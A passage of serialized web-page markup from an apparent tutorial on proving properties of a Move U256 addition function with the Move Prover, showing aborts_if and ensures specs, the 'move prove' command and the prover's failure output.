",{"type":25,"tag":264,"props":22757,"children":22759},{"className":22758},[],[22760],{"type":30,"value":22761},"add",{"type":30,"value":22763}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":25,"tag":7764,"props":22765,"children":22767},{"code":22766,"language":13585,"meta":7,"className":13586,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[22768],{"type":25,"tag":264,"props":22769,"children":22770},{"__ignoreMap":7},[22771,22805,22812,22861,22883,22912,22949,22990,22997,23004,23019,23100],{"type":25,"tag":271,"props":22772,"children":22773},{"class":13593,"line":13594},[22774,22779,22784,22788,22792,22796,22801],{"type":25,"tag":271,"props":22775,"children":22776},{"style":14289},[22777],{"type":30,"value":22778},"const",{"type":25,"tag":271,"props":22780,"children":22781},{"style":13625},[22782],{"type":30,"value":22783}," P64",{"type":25,"tag":271,"props":22785,"children":22786},{"style":13603},[22787],{"type":30,"value":359},{"type":25,"tag":271,"props":22789,"children":22790},{"style":13609},[22791],{"type":30,"value":21967},{"type":25,"tag":271,"props":22793,"children":22794},{"style":13603},[22795],{"type":30,"value":16155},{"type":25,"tag":271,"props":22797,"children":22798},{"style":16187},[22799],{"type":30,"value":22800}," 0x10000000000000000",{"type":25,"tag":271,"props":22802,"children":22803},{"style":13625},[22804],{"type":30,"value":16165},{"type":25,"tag":271,"props":22806,"children":22807},{"class":13593,"line":11641},[22808],{"type":25,"tag":271,"props":22809,"children":22810},{"emptyLinePlaceholder":18},[22811],{"type":30,"value":16829},{"type":25,"tag":271,"props":22813,"children":22814},{"class":13593,"line":14354},[22815,22819,22823,22828,22832,22836,22840,22844,22848,22852,22857],{"type":25,"tag":271,"props":22816,"children":22817},{"style":13598},[22818],{"type":30,"value":21396},{"type":25,"tag":271,"props":22820,"children":22821},{"style":13598},[22822],{"type":30,"value":19335},{"type":25,"tag":271,"props":22824,"children":22825},{"style":13620},[22826],{"type":30,"value":22827}," value_of_U256",{"type":25,"tag":271,"props":22829,"children":22830},{"style":13625},[22831],{"type":30,"value":394},{"type":25,"tag":271,"props":22833,"children":22834},{"style":13598},[22835],{"type":30,"value":83},{"type":25,"tag":271,"props":22837,"children":22838},{"style":13603},[22839],{"type":30,"value":359},{"type":25,"tag":271,"props":22841,"children":22842},{"style":13609},[22843],{"type":30,"value":17861},{"type":25,"tag":271,"props":22845,"children":22846},{"style":13625},[22847],{"type":30,"value":440},{"type":25,"tag":271,"props":22849,"children":22850},{"style":13603},[22851],{"type":30,"value":359},{"type":25,"tag":271,"props":22853,"children":22854},{"style":13598},[22855],{"type":30,"value":22856}," num",{"type":25,"tag":271,"props":22858,"children":22859},{"style":13625},[22860],{"type":30,"value":16431},{"type":25,"tag":271,"props":22862,"children":22863},{"class":13593,"line":14391},[22864,22869,22873,22878],{"type":25,"tag":271,"props":22865,"children":22866},{"style":13598},[22867],{"type":30,"value":22868},"    a",{"type":25,"tag":271,"props":22870,"children":22871},{"style":13603},[22872],{"type":30,"value":1860},{"type":25,"tag":271,"props":22874,"children":22875},{"style":13625},[22876],{"type":30,"value":22877},"v0 ",{"type":25,"tag":271,"props":22879,"children":22880},{"style":13603},[22881],{"type":30,"value":22882},"+\n",{"type":25,"tag":271,"props":22884,"children":22885},{"class":13593,"line":14400},[22886,22890,22894,22899,22903,22907],{"type":25,"tag":271,"props":22887,"children":22888},{"style":13598},[22889],{"type":30,"value":22868},{"type":25,"tag":271,"props":22891,"children":22892},{"style":13603},[22893],{"type":30,"value":1860},{"type":25,"tag":271,"props":22895,"children":22896},{"style":13625},[22897],{"type":30,"value":22898},"v1 ",{"type":25,"tag":271,"props":22900,"children":22901},{"style":13603},[22902],{"type":30,"value":17702},{"type":25,"tag":271,"props":22904,"children":22905},{"style":13609},[22906],{"type":30,"value":22783},{"type":25,"tag":271,"props":22908,"children":22909},{"style":13603},[22910],{"type":30,"value":22911}," +\n",{"type":25,"tag":271,"props":22913,"children":22914},{"class":13593,"line":16406},[22915,22919,22923,22928,22932,22936,22941,22945],{"type":25,"tag":271,"props":22916,"children":22917},{"style":13598},[22918],{"type":30,"value":22868},{"type":25,"tag":271,"props":22920,"children":22921},{"style":13603},[22922],{"type":30,"value":1860},{"type":25,"tag":271,"props":22924,"children":22925},{"style":13625},[22926],{"type":30,"value":22927},"v2 ",{"type":25,"tag":271,"props":22929,"children":22930},{"style":13603},[22931],{"type":30,"value":17702},{"type":25,"tag":271,"props":22933,"children":22934},{"style":13609},[22935],{"type":30,"value":22783},{"type":25,"tag":271,"props":22937,"children":22938},{"style":13603},[22939],{"type":30,"value":22940}," *",{"type":25,"tag":271,"props":22942,"children":22943},{"style":13609},[22944],{"type":30,"value":22783},{"type":25,"tag":271,"props":22946,"children":22947},{"style":13603},[22948],{"type":30,"value":22911},{"type":25,"tag":271,"props":22950,"children":22951},{"class":13593,"line":16434},[22952,22956,22960,22965,22969,22973,22977,22981,22985],{"type":25,"tag":271,"props":22953,"children":22954},{"style":13598},[22955],{"type":30,"value":22868},{"type":25,"tag":271,"props":22957,"children":22958},{"style":13603},[22959],{"type":30,"value":1860},{"type":25,"tag":271,"props":22961,"children":22962},{"style":13625},[22963],{"type":30,"value":22964},"v3 ",{"type":25,"tag":271,"props":22966,"children":22967},{"style":13603},[22968],{"type":30,"value":17702},{"type":25,"tag":271,"props":22970,"children":22971},{"style":13609},[22972],{"type":30,"value":22783},{"type":25,"tag":271,"props":22974,"children":22975},{"style":13603},[22976],{"type":30,"value":22940},{"type":25,"tag":271,"props":22978,"children":22979},{"style":13609},[22980],{"type":30,"value":22783},{"type":25,"tag":271,"props":22982,"children":22983},{"style":13603},[22984],{"type":30,"value":22940},{"type":25,"tag":271,"props":22986,"children":22987},{"style":13609},[22988],{"type":30,"value":22989}," P64\n",{"type":25,"tag":271,"props":22991,"children":22992},{"class":13593,"line":16447},[22993],{"type":25,"tag":271,"props":22994,"children":22995},{"style":13625},[22996],{"type":30,"value":17058},{"type":25,"tag":271,"props":22998,"children":22999},{"class":13593,"line":16465},[23000],{"type":25,"tag":271,"props":23001,"children":23002},{"emptyLinePlaceholder":18},[23003],{"type":30,"value":16829},{"type":25,"tag":271,"props":23005,"children":23006},{"class":13593,"line":16486},[23007,23011,23015],{"type":25,"tag":271,"props":23008,"children":23009},{"style":13598},[23010],{"type":30,"value":21396},{"type":25,"tag":271,"props":23012,"children":23013},{"style":13598},[23014],{"type":30,"value":22704},{"type":25,"tag":271,"props":23016,"children":23017},{"style":13625},[23018],{"type":30,"value":16431},{"type":25,"tag":271,"props":23020,"children":23021},{"class":13593,"line":16495},[23022,23027,23031,23035,23039,23043,23047,23051,23055,23059,23063,23068,23072,23076,23080,23084,23088,23092,23096],{"type":25,"tag":271,"props":23023,"children":23024},{"style":13598},[23025],{"type":30,"value":23026},"    aborts_if",{"type":25,"tag":271,"props":23028,"children":23029},{"style":13620},[23030],{"type":30,"value":22827},{"type":25,"tag":271,"props":23032,"children":23033},{"style":13625},[23034],{"type":30,"value":394},{"type":25,"tag":271,"props":23036,"children":23037},{"style":13598},[23038],{"type":30,"value":83},{"type":25,"tag":271,"props":23040,"children":23041},{"style":13625},[23042],{"type":30,"value":14406},{"type":25,"tag":271,"props":23044,"children":23045},{"style":13603},[23046],{"type":30,"value":2074},{"type":25,"tag":271,"props":23048,"children":23049},{"style":13620},[23050],{"type":30,"value":22827},{"type":25,"tag":271,"props":23052,"children":23053},{"style":13625},[23054],{"type":30,"value":394},{"type":25,"tag":271,"props":23056,"children":23057},{"style":13598},[23058],{"type":30,"value":2508},{"type":25,"tag":271,"props":23060,"children":23061},{"style":13625},[23062],{"type":30,"value":14406},{"type":25,"tag":271,"props":23064,"children":23065},{"style":13603},[23066],{"type":30,"value":23067},">=",{"type":25,"tag":271,"props":23069,"children":23070},{"style":13609},[23071],{"type":30,"value":22783},{"type":25,"tag":271,"props":23073,"children":23074},{"style":13603},[23075],{"type":30,"value":22940},{"type":25,"tag":271,"props":23077,"children":23078},{"style":13609},[23079],{"type":30,"value":22783},{"type":25,"tag":271,"props":23081,"children":23082},{"style":13603},[23083],{"type":30,"value":22940},{"type":25,"tag":271,"props":23085,"children":23086},{"style":13609},[23087],{"type":30,"value":22783},{"type":25,"tag":271,"props":23089,"children":23090},{"style":13603},[23091],{"type":30,"value":22940},{"type":25,"tag":271,"props":23093,"children":23094},{"style":13609},[23095],{"type":30,"value":22783},{"type":25,"tag":271,"props":23097,"children":23098},{"style":13625},[23099],{"type":30,"value":16165},{"type":25,"tag":271,"props":23101,"children":23102},{"class":13593,"line":16744},[23103],{"type":25,"tag":271,"props":23104,"children":23105},{"style":13625},[23106],{"type":30,"value":17058},{"type":25,"tag":26,"props":23108,"children":23109},{},[23110,23112,23119],{"type":30,"value":23111},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":25,"tag":83,"props":23113,"children":23116},{"href":23114,"rel":23115},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[9066],[23117],{"type":30,"value":23118},"MSL function",{"type":30,"value":23120},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":25,"tag":26,"props":23122,"children":23123},{},[23124,23126,23131,23132,23137],{"type":30,"value":23125},"A common pattern for ",{"type":25,"tag":264,"props":23127,"children":23129},{"className":23128},[],[23130],{"type":30,"value":21446},{"type":30,"value":18632},{"type":25,"tag":264,"props":23133,"children":23135},{"className":23134},[],[23136],{"type":30,"value":21454},{"type":30,"value":23138},", which lets you prove that a function will never abort.",{"type":25,"tag":7764,"props":23140,"children":23142},{"code":23141,"language":13585,"meta":7,"className":13586,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[23143],{"type":25,"tag":264,"props":23144,"children":23145},{"__ignoreMap":7},[23146,23162,23177],{"type":25,"tag":271,"props":23147,"children":23148},{"class":13593,"line":13594},[23149,23153,23158],{"type":25,"tag":271,"props":23150,"children":23151},{"style":13598},[23152],{"type":30,"value":21396},{"type":25,"tag":271,"props":23154,"children":23155},{"style":13598},[23156],{"type":30,"value":23157}," critical_function",{"type":25,"tag":271,"props":23159,"children":23160},{"style":13625},[23161],{"type":30,"value":16431},{"type":25,"tag":271,"props":23163,"children":23164},{"class":13593,"line":11641},[23165,23169,23173],{"type":25,"tag":271,"props":23166,"children":23167},{"style":13598},[23168],{"type":30,"value":23026},{"type":25,"tag":271,"props":23170,"children":23171},{"style":14289},[23172],{"type":30,"value":22179},{"type":25,"tag":271,"props":23174,"children":23175},{"style":13625},[23176],{"type":30,"value":16165},{"type":25,"tag":271,"props":23178,"children":23179},{"class":13593,"line":14354},[23180],{"type":25,"tag":271,"props":23181,"children":23182},{"style":13625},[23183],{"type":30,"value":17058},{"type":25,"tag":26,"props":23185,"children":23186},{},[23187,23189,23195],{"type":30,"value":23188},"Another type of expression that we can use is ",{"type":25,"tag":264,"props":23190,"children":23192},{"className":23191},[],[23193],{"type":30,"value":23194},"ensures",{"type":30,"value":23196},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":25,"tag":26,"props":23198,"children":23199},{},[23200,23202,23207,23209,23214],{"type":30,"value":23201},"In the case of the ",{"type":25,"tag":264,"props":23203,"children":23205},{"className":23204},[],[23206],{"type":30,"value":22761},{"type":30,"value":23208}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":25,"tag":38,"props":23210,"children":23211},{},[23212],{"type":30,"value":23213},"MSL uses unbounded numbers",{"type":30,"value":23215},", we're able to very cleanly express this property without worrying about overflows.",{"type":25,"tag":7764,"props":23217,"children":23219},{"code":23218,"language":13585,"meta":7,"className":13586,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[23220],{"type":25,"tag":264,"props":23221,"children":23222},{"__ignoreMap":7},[23223,23238,23317,23381],{"type":25,"tag":271,"props":23224,"children":23225},{"class":13593,"line":13594},[23226,23230,23234],{"type":25,"tag":271,"props":23227,"children":23228},{"style":13598},[23229],{"type":30,"value":21396},{"type":25,"tag":271,"props":23231,"children":23232},{"style":13598},[23233],{"type":30,"value":22704},{"type":25,"tag":271,"props":23235,"children":23236},{"style":13625},[23237],{"type":30,"value":16431},{"type":25,"tag":271,"props":23239,"children":23240},{"class":13593,"line":11641},[23241,23245,23249,23253,23257,23261,23265,23269,23273,23277,23281,23285,23289,23293,23297,23301,23305,23309,23313],{"type":25,"tag":271,"props":23242,"children":23243},{"style":13598},[23244],{"type":30,"value":23026},{"type":25,"tag":271,"props":23246,"children":23247},{"style":13620},[23248],{"type":30,"value":22827},{"type":25,"tag":271,"props":23250,"children":23251},{"style":13625},[23252],{"type":30,"value":394},{"type":25,"tag":271,"props":23254,"children":23255},{"style":13598},[23256],{"type":30,"value":83},{"type":25,"tag":271,"props":23258,"children":23259},{"style":13625},[23260],{"type":30,"value":14406},{"type":25,"tag":271,"props":23262,"children":23263},{"style":13603},[23264],{"type":30,"value":2074},{"type":25,"tag":271,"props":23266,"children":23267},{"style":13620},[23268],{"type":30,"value":22827},{"type":25,"tag":271,"props":23270,"children":23271},{"style":13625},[23272],{"type":30,"value":394},{"type":25,"tag":271,"props":23274,"children":23275},{"style":13598},[23276],{"type":30,"value":2508},{"type":25,"tag":271,"props":23278,"children":23279},{"style":13625},[23280],{"type":30,"value":14406},{"type":25,"tag":271,"props":23282,"children":23283},{"style":13603},[23284],{"type":30,"value":23067},{"type":25,"tag":271,"props":23286,"children":23287},{"style":13609},[23288],{"type":30,"value":22783},{"type":25,"tag":271,"props":23290,"children":23291},{"style":13603},[23292],{"type":30,"value":22940},{"type":25,"tag":271,"props":23294,"children":23295},{"style":13609},[23296],{"type":30,"value":22783},{"type":25,"tag":271,"props":23298,"children":23299},{"style":13603},[23300],{"type":30,"value":22940},{"type":25,"tag":271,"props":23302,"children":23303},{"style":13609},[23304],{"type":30,"value":22783},{"type":25,"tag":271,"props":23306,"children":23307},{"style":13603},[23308],{"type":30,"value":22940},{"type":25,"tag":271,"props":23310,"children":23311},{"style":13609},[23312],{"type":30,"value":22783},{"type":25,"tag":271,"props":23314,"children":23315},{"style":13625},[23316],{"type":30,"value":16165},{"type":25,"tag":271,"props":23318,"children":23319},{"class":13593,"line":14354},[23320,23325,23329,23333,23337,23341,23345,23349,23353,23357,23361,23365,23369,23373,23377],{"type":25,"tag":271,"props":23321,"children":23322},{"style":13598},[23323],{"type":30,"value":23324},"    ensures",{"type":25,"tag":271,"props":23326,"children":23327},{"style":13620},[23328],{"type":30,"value":22827},{"type":25,"tag":271,"props":23330,"children":23331},{"style":13625},[23332],{"type":30,"value":394},{"type":25,"tag":271,"props":23334,"children":23335},{"style":13598},[23336],{"type":30,"value":22204},{"type":25,"tag":271,"props":23338,"children":23339},{"style":13625},[23340],{"type":30,"value":14406},{"type":25,"tag":271,"props":23342,"children":23343},{"style":13603},[23344],{"type":30,"value":21696},{"type":25,"tag":271,"props":23346,"children":23347},{"style":13620},[23348],{"type":30,"value":22827},{"type":25,"tag":271,"props":23350,"children":23351},{"style":13625},[23352],{"type":30,"value":394},{"type":25,"tag":271,"props":23354,"children":23355},{"style":13598},[23356],{"type":30,"value":83},{"type":25,"tag":271,"props":23358,"children":23359},{"style":13625},[23360],{"type":30,"value":14406},{"type":25,"tag":271,"props":23362,"children":23363},{"style":13603},[23364],{"type":30,"value":2074},{"type":25,"tag":271,"props":23366,"children":23367},{"style":13620},[23368],{"type":30,"value":22827},{"type":25,"tag":271,"props":23370,"children":23371},{"style":13625},[23372],{"type":30,"value":394},{"type":25,"tag":271,"props":23374,"children":23375},{"style":13598},[23376],{"type":30,"value":2508},{"type":25,"tag":271,"props":23378,"children":23379},{"style":13625},[23380],{"type":30,"value":13665},{"type":25,"tag":271,"props":23382,"children":23383},{"class":13593,"line":14391},[23384],{"type":25,"tag":271,"props":23385,"children":23386},{"style":13625},[23387],{"type":30,"value":17058},{"type":25,"tag":26,"props":23389,"children":23390},{},[23391],{"type":30,"value":23392},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":25,"tag":26,"props":23394,"children":23395},{},[23396],{"type":30,"value":23397},"Let's try to prove the library with the specifications from above:",{"type":25,"tag":7764,"props":23399,"children":23401},{"code":23400,"language":17373,"meta":7,"className":17374,"style":7},"$ move prove\n",[23402],{"type":25,"tag":264,"props":23403,"children":23404},{"__ignoreMap":7},[23405],{"type":25,"tag":271,"props":23406,"children":23407},{"class":13593,"line":13594},[23408,23413,23418],{"type":25,"tag":271,"props":23409,"children":23410},{"style":13620},[23411],{"type":30,"value":23412},"$",{"type":25,"tag":271,"props":23414,"children":23415},{"style":17388},[23416],{"type":30,"value":23417}," move",{"type":25,"tag":271,"props":23419,"children":23420},{"style":17388},[23421],{"type":30,"value":23422}," prove\n",{"type":25,"tag":26,"props":23424,"children":23425},{},[23426],{"type":30,"value":23427},"It outputs the following error information:",{"type":25,"tag":7764,"props":23429,"children":23431},{"code":23430,"language":17373,"meta":7,"className":17374,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[23432],{"type":25,"tag":264,"props":23433,"children":23434},{"__ignoreMap":7},[23435,23443,23450,23512,23533,23623,23691,23703,23711,23718,23725,23732,23750,23811,23828,23845,23917,23933,23941,23948,23998,24006,24023],{"type":25,"tag":271,"props":23436,"children":23437},{"class":13593,"line":13594},[23438],{"type":25,"tag":271,"props":23439,"children":23440},{"style":13625},[23441],{"type":30,"value":23442},"[...]\n",{"type":25,"tag":271,"props":23444,"children":23445},{"class":13593,"line":11641},[23446],{"type":25,"tag":271,"props":23447,"children":23448},{"emptyLinePlaceholder":18},[23449],{"type":30,"value":16829},{"type":25,"tag":271,"props":23451,"children":23452},{"class":13593,"line":14354},[23453,23458,23463,23468,23473,23478,23483,23488,23493,23498,23502,23507],{"type":25,"tag":271,"props":23454,"children":23455},{"style":13620},[23456],{"type":30,"value":23457},"error:",{"type":25,"tag":271,"props":23459,"children":23460},{"style":17388},[23461],{"type":30,"value":23462}," abort",{"type":25,"tag":271,"props":23464,"children":23465},{"style":17388},[23466],{"type":30,"value":23467}," not",{"type":25,"tag":271,"props":23469,"children":23470},{"style":17388},[23471],{"type":30,"value":23472}," covered",{"type":25,"tag":271,"props":23474,"children":23475},{"style":17388},[23476],{"type":30,"value":23477}," by",{"type":25,"tag":271,"props":23479,"children":23480},{"style":17388},[23481],{"type":30,"value":23482}," any",{"type":25,"tag":271,"props":23484,"children":23485},{"style":17388},[23486],{"type":30,"value":23487}," of",{"type":25,"tag":271,"props":23489,"children":23490},{"style":17388},[23491],{"type":30,"value":23492}," the",{"type":25,"tag":271,"props":23494,"children":23495},{"style":17388},[23496],{"type":30,"value":23497}," `",{"type":25,"tag":271,"props":23499,"children":23500},{"style":13620},[23501],{"type":30,"value":21446},{"type":25,"tag":271,"props":23503,"children":23504},{"style":17388},[23505],{"type":30,"value":23506},"`",{"type":25,"tag":271,"props":23508,"children":23509},{"style":13620},[23510],{"type":30,"value":23511}," clauses\n",{"type":25,"tag":271,"props":23513,"children":23514},{"class":13593,"line":14391},[23515,23520,23525,23529],{"type":25,"tag":271,"props":23516,"children":23517},{"style":13620},[23518],{"type":30,"value":23519},"╭",{"type":25,"tag":271,"props":23521,"children":23522},{"style":17388},[23523],{"type":30,"value":23524},"     spec",{"type":25,"tag":271,"props":23526,"children":23527},{"style":17388},[23528],{"type":30,"value":22704},{"type":25,"tag":271,"props":23530,"children":23531},{"style":17388},[23532],{"type":30,"value":16431},{"type":25,"tag":271,"props":23534,"children":23535},{"class":13593,"line":14400},[23536,23541,23546,23550,23554,23558,23562,23566,23570,23574,23578,23582,23587,23591,23595,23599,23603,23607,23611,23615,23619],{"type":25,"tag":271,"props":23537,"children":23538},{"style":13603},[23539],{"type":30,"value":23540},"|",{"type":25,"tag":271,"props":23542,"children":23543},{"style":13620},[23544],{"type":30,"value":23545},"         aborts_if",{"type":25,"tag":271,"props":23547,"children":23548},{"style":17388},[23549],{"type":30,"value":22827},{"type":25,"tag":271,"props":23551,"children":23552},{"style":13625},[23553],{"type":30,"value":394},{"type":25,"tag":271,"props":23555,"children":23556},{"style":13620},[23557],{"type":30,"value":83},{"type":25,"tag":271,"props":23559,"children":23560},{"style":13625},[23561],{"type":30,"value":14406},{"type":25,"tag":271,"props":23563,"children":23564},{"style":17388},[23565],{"type":30,"value":2074},{"type":25,"tag":271,"props":23567,"children":23568},{"style":17388},[23569],{"type":30,"value":22827},{"type":25,"tag":271,"props":23571,"children":23572},{"style":13625},[23573],{"type":30,"value":394},{"type":25,"tag":271,"props":23575,"children":23576},{"style":13620},[23577],{"type":30,"value":2508},{"type":25,"tag":271,"props":23579,"children":23580},{"style":13625},[23581],{"type":30,"value":14406},{"type":25,"tag":271,"props":23583,"children":23584},{"style":13603},[23585],{"type":30,"value":23586},">",{"type":25,"tag":271,"props":23588,"children":23589},{"style":17388},[23590],{"type":30,"value":1065},{"type":25,"tag":271,"props":23592,"children":23593},{"style":17388},[23594],{"type":30,"value":22783},{"type":25,"tag":271,"props":23596,"children":23597},{"style":14289},[23598],{"type":30,"value":22940},{"type":25,"tag":271,"props":23600,"children":23601},{"style":17388},[23602],{"type":30,"value":22783},{"type":25,"tag":271,"props":23604,"children":23605},{"style":14289},[23606],{"type":30,"value":22940},{"type":25,"tag":271,"props":23608,"children":23609},{"style":17388},[23610],{"type":30,"value":22783},{"type":25,"tag":271,"props":23612,"children":23613},{"style":14289},[23614],{"type":30,"value":22940},{"type":25,"tag":271,"props":23616,"children":23617},{"style":17388},[23618],{"type":30,"value":22783},{"type":25,"tag":271,"props":23620,"children":23621},{"style":13625},[23622],{"type":30,"value":16165},{"type":25,"tag":271,"props":23624,"children":23625},{"class":13593,"line":16406},[23626,23630,23635,23639,23643,23647,23651,23655,23659,23663,23667,23671,23675,23679,23683,23687],{"type":25,"tag":271,"props":23627,"children":23628},{"style":13603},[23629],{"type":30,"value":23540},{"type":25,"tag":271,"props":23631,"children":23632},{"style":13620},[23633],{"type":30,"value":23634},"         ensures",{"type":25,"tag":271,"props":23636,"children":23637},{"style":17388},[23638],{"type":30,"value":22827},{"type":25,"tag":271,"props":23640,"children":23641},{"style":13625},[23642],{"type":30,"value":394},{"type":25,"tag":271,"props":23644,"children":23645},{"style":13620},[23646],{"type":30,"value":22204},{"type":25,"tag":271,"props":23648,"children":23649},{"style":13625},[23650],{"type":30,"value":14406},{"type":25,"tag":271,"props":23652,"children":23653},{"style":17388},[23654],{"type":30,"value":21696},{"type":25,"tag":271,"props":23656,"children":23657},{"style":17388},[23658],{"type":30,"value":22827},{"type":25,"tag":271,"props":23660,"children":23661},{"style":13625},[23662],{"type":30,"value":394},{"type":25,"tag":271,"props":23664,"children":23665},{"style":13620},[23666],{"type":30,"value":83},{"type":25,"tag":271,"props":23668,"children":23669},{"style":13625},[23670],{"type":30,"value":14406},{"type":25,"tag":271,"props":23672,"children":23673},{"style":17388},[23674],{"type":30,"value":2074},{"type":25,"tag":271,"props":23676,"children":23677},{"style":17388},[23678],{"type":30,"value":22827},{"type":25,"tag":271,"props":23680,"children":23681},{"style":13625},[23682],{"type":30,"value":394},{"type":25,"tag":271,"props":23684,"children":23685},{"style":13620},[23686],{"type":30,"value":2508},{"type":25,"tag":271,"props":23688,"children":23689},{"style":13625},[23690],{"type":30,"value":13665},{"type":25,"tag":271,"props":23692,"children":23693},{"class":13593,"line":16434},[23694,23698],{"type":25,"tag":271,"props":23695,"children":23696},{"style":13603},[23697],{"type":30,"value":23540},{"type":25,"tag":271,"props":23699,"children":23700},{"style":13625},[23701],{"type":30,"value":23702},"     }\n",{"type":25,"tag":271,"props":23704,"children":23705},{"class":13593,"line":16447},[23706],{"type":25,"tag":271,"props":23707,"children":23708},{"style":13620},[23709],{"type":30,"value":23710},"╰─────^\n",{"type":25,"tag":271,"props":23712,"children":23713},{"class":13593,"line":16465},[23714],{"type":25,"tag":271,"props":23715,"children":23716},{"emptyLinePlaceholder":18},[23717],{"type":30,"value":16829},{"type":25,"tag":271,"props":23719,"children":23720},{"class":13593,"line":16486},[23721],{"type":25,"tag":271,"props":23722,"children":23723},{"style":13625},[23724],{"type":30,"value":23442},{"type":25,"tag":271,"props":23726,"children":23727},{"class":13593,"line":16495},[23728],{"type":25,"tag":271,"props":23729,"children":23730},{"emptyLinePlaceholder":18},[23731],{"type":30,"value":16829},{"type":25,"tag":271,"props":23733,"children":23734},{"class":13593,"line":16744},[23735,23740,23745],{"type":25,"tag":271,"props":23736,"children":23737},{"style":13620},[23738],{"type":30,"value":23739}," at",{"type":25,"tag":271,"props":23741,"children":23742},{"style":17388},[23743],{"type":30,"value":23744}," ./sources/u256.move:316:",{"type":25,"tag":271,"props":23746,"children":23747},{"style":17388},[23748],{"type":30,"value":23749}," add\n",{"type":25,"tag":271,"props":23751,"children":23752},{"class":13593,"line":16761},[23753,23758,23763,23768,23772,23777,23781,23786,23791,23796,23801,23806],{"type":25,"tag":271,"props":23754,"children":23755},{"style":13620},[23756],{"type":30,"value":23757}," enter",{"type":25,"tag":271,"props":23759,"children":23760},{"style":17388},[23761],{"type":30,"value":23762}," loop,",{"type":25,"tag":271,"props":23764,"children":23765},{"style":17388},[23766],{"type":30,"value":23767}," variable",{"type":25,"tag":271,"props":23769,"children":23770},{"style":13625},[23771],{"type":30,"value":394},{"type":25,"tag":271,"props":23773,"children":23774},{"style":13620},[23775],{"type":30,"value":23776},"s",{"type":25,"tag":271,"props":23778,"children":23779},{"style":13625},[23780],{"type":30,"value":14406},{"type":25,"tag":271,"props":23782,"children":23783},{"style":17388},[23784],{"type":30,"value":23785},"carry,",{"type":25,"tag":271,"props":23787,"children":23788},{"style":17388},[23789],{"type":30,"value":23790}," i,",{"type":25,"tag":271,"props":23792,"children":23793},{"style":17388},[23794],{"type":30,"value":23795}," ret",{"type":25,"tag":271,"props":23797,"children":23798},{"style":17388},[23799],{"type":30,"value":23800}," havocked",{"type":25,"tag":271,"props":23802,"children":23803},{"style":17388},[23804],{"type":30,"value":23805}," and",{"type":25,"tag":271,"props":23807,"children":23808},{"style":17388},[23809],{"type":30,"value":23810}," reassigned\n",{"type":25,"tag":271,"props":23812,"children":23813},{"class":13593,"line":16778},[23814,23819,23823],{"type":25,"tag":271,"props":23815,"children":23816},{"style":13620},[23817],{"type":30,"value":23818},"     carry",{"type":25,"tag":271,"props":23820,"children":23821},{"style":17388},[23822],{"type":30,"value":16155},{"type":25,"tag":271,"props":23824,"children":23825},{"style":16187},[23826],{"type":30,"value":23827}," 54\n",{"type":25,"tag":271,"props":23829,"children":23830},{"class":13593,"line":16791},[23831,23836,23840],{"type":25,"tag":271,"props":23832,"children":23833},{"style":13620},[23834],{"type":30,"value":23835},"     i",{"type":25,"tag":271,"props":23837,"children":23838},{"style":17388},[23839],{"type":30,"value":16155},{"type":25,"tag":271,"props":23841,"children":23842},{"style":16187},[23843],{"type":30,"value":23844}," 3792\n",{"type":25,"tag":271,"props":23846,"children":23847},{"class":13593,"line":16800},[23848,23853,23857,23862,23866,23871,23876,23880,23885,23890,23894,23899,23904,23908,23913],{"type":25,"tag":271,"props":23849,"children":23850},{"style":13620},[23851],{"type":30,"value":23852},"     ret",{"type":25,"tag":271,"props":23854,"children":23855},{"style":17388},[23856],{"type":30,"value":16155},{"type":25,"tag":271,"props":23858,"children":23859},{"style":17388},[23860],{"type":30,"value":23861}," u256.U256{v0",{"type":25,"tag":271,"props":23863,"children":23864},{"style":17388},[23865],{"type":30,"value":16155},{"type":25,"tag":271,"props":23867,"children":23868},{"style":17388},[23869],{"type":30,"value":23870}," 26418,",{"type":25,"tag":271,"props":23872,"children":23873},{"style":17388},[23874],{"type":30,"value":23875}," v1",{"type":25,"tag":271,"props":23877,"children":23878},{"style":17388},[23879],{"type":30,"value":16155},{"type":25,"tag":271,"props":23881,"children":23882},{"style":17388},[23883],{"type":30,"value":23884}," 27938,",{"type":25,"tag":271,"props":23886,"children":23887},{"style":17388},[23888],{"type":30,"value":23889}," v2",{"type":25,"tag":271,"props":23891,"children":23892},{"style":17388},[23893],{"type":30,"value":16155},{"type":25,"tag":271,"props":23895,"children":23896},{"style":17388},[23897],{"type":30,"value":23898}," 6900,",{"type":25,"tag":271,"props":23900,"children":23901},{"style":17388},[23902],{"type":30,"value":23903}," v3",{"type":25,"tag":271,"props":23905,"children":23906},{"style":17388},[23907],{"type":30,"value":16155},{"type":25,"tag":271,"props":23909,"children":23910},{"style":16187},[23911],{"type":30,"value":23912}," 